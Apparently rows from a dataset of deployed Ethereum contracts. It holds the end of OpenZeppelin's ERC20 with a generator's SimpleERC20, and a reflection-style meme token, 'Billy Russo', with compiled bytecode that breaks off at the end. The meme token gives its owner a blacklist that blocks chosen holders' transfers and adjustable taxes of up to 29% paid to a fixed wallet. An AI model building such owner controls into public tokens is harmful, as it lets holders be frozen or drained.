* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033 | [
38
] |
0xf3475fc4637903d3dfa58e7468b4b9db7f55385c | /*
https://t.me/billyrussoeth
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract billy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Billy Russo";
string private constant _symbol = "RUSSO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xcDea608E2578dC2ACA50d496632672C8dFd7f2A8);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 30) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 30) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a257806318160ddd146101d25780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611875565b610418565b005b34801561016857600080fd5b5060408051808201909152600b81526a42696c6c7920527573736f60a81b60208201525b60405161019991906118f2565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd366004611783565b610469565b6040519015158152602001610199565b3480156101de57600080fd5b50670de0b6b3a76400005b604051908152602001610199565b34801561020357600080fd5b5061015a6102123660046118ad565b610480565b34801561022357600080fd5b506101c2610232366004611743565b6104c2565b34801561024357600080fd5b5061015a6102523660046116d3565b61052b565b34801561026357600080fd5b5060405160098152602001610199565b34801561027f57600080fd5b5061015a610576565b34801561029457600080fd5b506101e96102a33660046116d3565b6105aa565b3480156102b457600080fd5b5061015a6105cc565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610199565b3480156102f157600080fd5b50604080518082019091526005815264525553534f60d81b602082015261018c565b34801561031f57600080fd5b5061015a610640565b34801561033457600080fd5b506101c2610343366004611783565b61087f565b34801561035457600080fd5b5061015a6103633660046117ae565b61088c565b34801561037457600080fd5b5061015a610930565b34801561038957600080fd5b5061015a610970565b34801561039e57600080fd5b5061015a6103ad3660046118ad565b610b36565b3480156103be57600080fd5b5061015a6103cd3660046118ad565b610b6e565b3480156103de57600080fd5b506101e96103ed36600461170b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b815260040161044290611945565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610ba6565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161044290611945565b662386f26fc100008111156104bf5760108190555b50565b60006104cf848484610cca565b610521843361051c85604051806060016040528060288152602001611ac3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc1565b610ba6565b5060019392505050565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161044290611945565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a05760405162461bcd60e51b815260040161044290611945565b476104bf81610ffb565b6001600160a01b03811660009081526002602052604081205461047a90611035565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161044290611945565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161044290611945565b600f54600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c91906116ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a457600080fd5b505afa1580156107b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dc91906116ef565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082457600080fd5b505af1158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906116ef565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610cca565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161044290611945565b60005b815181101561092c576001600660008484815181106108e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092481611a58565b9150506108b9565b5050565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161044290611945565b6000610965306105aa565b90506104bf816110b9565b6000546001600160a01b0316331461099a5760405162461bcd60e51b815260040161044290611945565b600e546109ba9030906001600160a01b0316670de0b6b3a7640000610ba6565b600e546001600160a01b031663f305d71947306109d6816105aa565b6000806109eb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4e57600080fd5b505af1158015610a62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8791906118c5565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afe57600080fd5b505af1158015610b12573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf9190611891565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161044290611945565b601e8110156104bf57600b55565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161044290611945565b601e8110156104bf57600c55565b6001600160a01b038316610c085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610df25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e1857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb1576000600955600c54600a55600f546001600160a01b038481169116148015610e955750600e546001600160a01b03838116911614155b8015610eba57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecf5750600f54600160b81b900460ff165b15610ee357601054811115610ee357600080fd5b600f546001600160a01b038381169116148015610f0e5750600e546001600160a01b03848116911614155b8015610f3357506001600160a01b03831660009081526005602052604090205460ff16155b15610f44576000600955600b54600a555b6000610f4f306105aa565b600f54909150600160a81b900460ff16158015610f7a5750600f546001600160a01b03858116911614155b8015610f8f5750600f54600160b01b900460ff165b15610faf57610f9d816110b9565b478015610fad57610fa